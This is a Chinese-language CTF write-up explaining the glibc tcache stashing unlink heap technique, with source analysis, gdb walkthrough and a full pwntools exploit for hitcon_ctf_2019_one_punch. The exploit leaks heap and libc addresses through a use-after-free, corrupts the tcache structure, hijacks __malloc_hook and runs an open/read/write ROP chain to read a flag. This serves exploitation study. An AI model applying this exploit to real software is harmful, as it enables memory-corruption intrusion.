前言#
house of pig用到的一个知识点 功能还是蛮独特的 同时十分简单 主要是基于calloc函数的特性 对于smallbin和tcachebin的一些操作 顺便吐槽一句 网上有的教程是写的真烂啊 压根没讲清楚 还得自己动调一下
源码分析#
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); } } }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }当我们使用calloc函数申请chunk的时候 其会忽略tcachebin中的chunk 比如我们申请一个0x10大小的chunk 释放到tcachebin中 再次调用calloc申请一个0x10的chunk 哪怕tcache中有合适的chunk 并且没有其他bin中有适合的chunk了 calloc还是会从top chunk中分配一个0x10的chunk
利用这一特性 我们就可以跳过tcachebin 从smallbin中申请chunk
上面的源码就是针对这种情况 当smallbin中有两个以上的chunk的时候 利用calloc申请出smallbin中的chunk 当tcache对应链表没满 同时smallbin还有同样大小的size时 就会把剩余的chunk放入到tcachebin中
并且在上面源码中 会发现并没有这样的检测
if ( __glibc_unlikely( bck->fd != victim ) ) malloc_printerr ("malloc(): smallbin double linked list corrupted");也就是说 我们只需要通过第一次检测就可以了 后面的chunk都不用设置相关信息
那么我们就只要修改链表头chunk的bk域 使其满足条件 就可以利用漏洞
先来看看可以造成什么危害吧 分析一下tcache_put函数的源码
tcache_get (size_t tc_idx){ tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL; return (void *) e;}赋值了新放入tcachebin的chunk的fd域和key值
这里存在一个任意地址写 如果我们修改链表头chunk的bk域为一个fake chunk 那么接下来 fake chunk就会进入smallbin链表 充当下一次的tc_victim
在作为tcache_put的参数时 其fd域和存放key的地址就被赋值了
还有一种任意写的情况是 tcachebin中已经有了6个free chunk了 那么此时fake chunk就不会被放入tcache链表 仍然位于smallbin中 所以其fd域会填入main_arena的值 用来保证链表完整性
下面来结合gdb动调 看一下这两种任意写要如何构造
先看tcachebin有5个free chunk的情况

此时tcachebin中已经有了5个free chunk
我们称低地址处的smallbin chunk为chunk0 另外一个为chunk1
chunk0位于smallbin的链表头 我们修改chunk0的bk域 使其指向fake chunk
接着我们断点打在calloc函数 si单步进入 跟进到int_malloc函数 si单步进入

此时r14赋值后的值则为fake chunk的地址

这一步赋值了fake chunk的bk域 到这里fake chunk已经进入了smallbin 来看一下目前其fd域和bk域

接下来fake chunk要被放入到tcachebin中 并且fd域和key值需要重新赋值

下图可以看到 fd域已经成功被修改

接下来 这个cmp是绕过的关键

r13为此时tcachebin链表中的chunk数 可以看到 chunk1和fake chunk都被放入了链表中 此时不会进行额外的检查 任意写顺利结束

最后的攻击效果为fake chunk被并入链表中 同时fake chunk+0x10处写入了堆地址
当然 上面的执行流程看起来没有多少检查 但是实际上存在一个需要注意的地方

这里需要保证我们fake chunk+0x18处为一个可写地址 如果为空 那么r14会被赋值为0 执行到下面这步时 会由于为空 导致无法写入 程序无法执行下去

如果tcachebin中的chunk小于5个呢 这意味着我们上面提到的cmp肯定过不去 会进入另外一个分支

可以看到面临和上面一样的问题 所以又回归到了上面的问题 那么我们有没有办法做到真正的任意地址写一个main
_arena地址呢
只需要使得tcachebin中已经有6个free chunk 就可以使得fake chunk不被放入tcachebin中 使得其fd域不需要进行赋值 同时由于fake chunk仍然处于smallbin中 其fd域为main_arena的地址 而非堆地址 来看一下实际的效果

真题分析#
hitcon_ctf_2019_one_punch#
复现环境可以在buuctf中找到 libc版本为2.29

保护全开 同时开启了沙盒 只能通过orw来获取flag
程序的主题逻辑就是一个菜单题 add函数通过calloc来申请chunk 同时对chunk的size存在限制0x80-0x400 不存在堆溢出 free chunk的时候指针没有置零 存在UAF 同时拥有打印chunk内容的机会 并且还有一个特殊的函数
__int64 __fastcall sub_15BB(__int64 a1, __int64 a2){ void *buf; // [rsp+8h] [rbp-8h]
if ( *(qword_4030 + 32) <= 6 ) error("gg", a2); buf = malloc(0x217uLL); if ( !buf ) error("err", a2); if ( read(0, buf, 0x217uLL) <= 0 ) error("io", buf); puts("Serious Punch!!!"); puts(&unk_2128); return puts(buf);}检测tcache链表中的chunk数 只有大于6才能调用该函数 利用malloc申请一个0x217大小的chunk 实际上是分配一个0x210的chunk
首先利用UAF 重复释放chunk 填满tcachebin 使chunk释放进入unsortedbin 泄露libc地址
add(0,cyclic(0x210))add(1,cyclic(0x80))for i in range(6): delete(0) edit(0,cyclic(0x10))for i in range(6): delete(1) edit(1,cyclic(0x10))delete(0)show(0)heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))success("heap_addr :"+hex(heap_addr))edit(0,cyclic(0x10))delete(0)show(0)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1e4ca0success("libc_addr :"+hex(libc_addr))接着构造出两个同样大小的smallbin chunk 准备进行任意写攻击
add(1,cyclic(0x180))add(1,cyclic(0x400))add(2,cyclic(0x100))for i in range(7): delete(1) edit(1,cyclic(0x10))delete(1)add(2,cyclic(0x370))add(2,cyclic(0x400))此时tcache对应链表中有6个chunk 此时可以往ptr_addr+0x10写入一个libc地址
add(2,cyclic(0x370))add(2,cyclic(0x400))fd = heap_addr + 0x180bk = heap_addr - 0x260 + 0x20payload = cyclic(0x370)+p64(0)+p64(0x91)+p64(fd)+p64(bk)edit(1,payload)add(1,cyclic(0x80))这里选择往tcache结构体中写入

覆盖了0x220链表的chunk数量
接着就可以利用特殊函数打tcachebin attack任意写了 不过由于要用orw 再加上这题的add函数有点特殊 是先读入chunk内容 再申请chunk 接着复制内容进入chunk中 所以payload会先写在栈上 那么我们劫持malloc_hook为跳转执行栈上的rop链即可

可以看到偏移0x40处为写入的rop链 那么此时只需要覆盖malloc_hook为add rsp,0x40 即可跳转执行rop链
完整exp:
from pwn import*from ctypes import *io = process("./pwn")#io = remote("node4.buuoj.cn",29861)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("/home/chen/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
def add(index,payload): io.recvuntil("> ") io.sendline(b'1') io.recvuntil("idx: ") io.sendline(str(index)) io.recvuntil("hero name: ") io.send(payload)
def edit(index,payload): io.recvuntil("> ") io.sendline(b'2') io.recvuntil("idx: ") io.sendline(str(index)) io.recvuntil("hero name: ") io.send(payload)
def show(index): io.recvuntil("> ") io.sendline(b'3') io.recvuntil("idx: ") io.sendline(str(index))
def delete(index): io.recvuntil("> ") io.sendline(b'4') io.recvuntil("idx: ") io.sendline(str(index))
def magic(payload): io.recvuntil("> ") io.sendline(b'50056') io.send(payload)
# add(0,cyclic(0x210))# for i in range(7):# add(1,cyclic(0x210))# delete(1)# delete(0)# show(0)# libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1e4ca0# success("libc_addr :"+hex(libc_addr))# show(1)# heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xf20# success("heap_addr :"+hex(heap_addr))# debug()
add(0,cyclic(0x210))add(1,cyclic(0x80))for i in range(6): delete(0) edit(0,cyclic(0x10))for i in range(6): delete(1) edit(1,cyclic(0x10))delete(0)show(0)heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))success("heap_addr :"+hex(heap_addr))edit(0,cyclic(0x10))delete(0)show(0)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1e4ca0success("libc_addr :"+hex(libc_addr))malloc_hook = libc_addr + libc.sym['__malloc_hook']rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret")))rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))rdx_addr = libc_addr + 0x000000000012bda6rax_addr = libc_addr + next(libc.search(asm("pop rax;ret")))syscall_addr = libc_addr + libc.sym['read'] +0xfopen_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']write_addr = libc_addr + libc.sym['write']addrsp_addr = libc_addr + 0x0000000000044734bss_addr = libc_addr + libc.bss()add(1,cyclic(0x180))add(1,cyclic(0x400))add(2,cyclic(0x100))for i in range(7): delete(1) edit(1,cyclic(0x10))delete(1)add(2,cyclic(0x370))add(2,cyclic(0x400))fd = heap_addr + 0x180bk = heap_addr - 0x260 + 0x20payload = cyclic(0x370)+p64(0)+p64(0x91)+p64(fd)+p64(bk)edit(1,payload)add(1,cyclic(0x80))edit(0,p64(malloc_hook))magic(b'./flag\x00\x00')orw = p64(rdi_addr)+p64(heap_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)+p64(rax_addr)+p64(2)+p64(syscall_addr)orw += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr+0x100)+p64(rdx_addr)+p64(0x30)+p64(rax_addr)+p64(0)+p64(syscall_addr)orw += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(bss_addr+0x100)+p64(rdx_addr)+p64(0x30)+p64(rax_addr)+p64(1)+p64(syscall_addr)magic(p64(addrsp_addr))# gdb.attach(io,'b *$rebase(0x139C)')# pause(0)add(1,orw)# pause()io.recv()